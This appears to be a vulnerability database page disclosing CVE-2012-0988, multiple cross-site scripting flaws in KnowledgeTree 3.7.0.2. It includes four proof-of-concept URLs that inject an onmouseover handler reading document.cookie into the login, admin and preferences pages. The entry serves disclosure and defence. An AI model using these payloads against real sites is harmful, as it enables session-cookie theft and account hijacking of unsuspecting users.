KnowledgeTree 3.x - Multiple Cross-Site Scripting Vulnerabilities

🗓️ 11 Jan 2012 00:00:00Reported by High-Tech Bridge SAType

KnowledgeTree 3.x Multiple Cross-Site Scripting Vulnerabilitie

Reporter	Title	Published	Views	Family All 7
Circl	CVE-2012-0988	11 Jan 201200:00	–	circl
CVE	CVE-2012-0988	20 Sep 201200:00	–	cve
Cvelist	CVE-2012-0988	20 Sep 201200:00	–	cvelist
EUVD	EUVD-2012-1011	7 Oct 202500:30	–	euvd
htbridge	Multiple XSS in KnowledgeTree Community Edition	21 Dec 201100:00	–	htbridge
NVD	CVE-2012-0988	20 Sep 201200:55	–	nvd
Prion	Cross site scripting	20 Sep 201200:55	–	prion

source: https://www.securityfocus.com/bid/51373/info

KnowledgeTree is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.

KnowledgeTree 3.7.0.2 is vulnerable; prior versions may also be affected.

http://www.example.com/login.php/%22onmouseover=alert%28document.cookie%29;%3E
http://www.example.com/admin.php/%22onmouseover=alert%28document.cookie%29;%3E
http://www.example.com/admin.php/%22onmouseover=alert%28document.cookie%29;%3E
http://www.example.com/preferences.php/%22onmouseover=alert%28document.cookie%29;%3E

30 Mar 2015 00:00Current

5.2Medium risk

Vulners AI Score5.2

CVSS 24.3

EPSS0.01803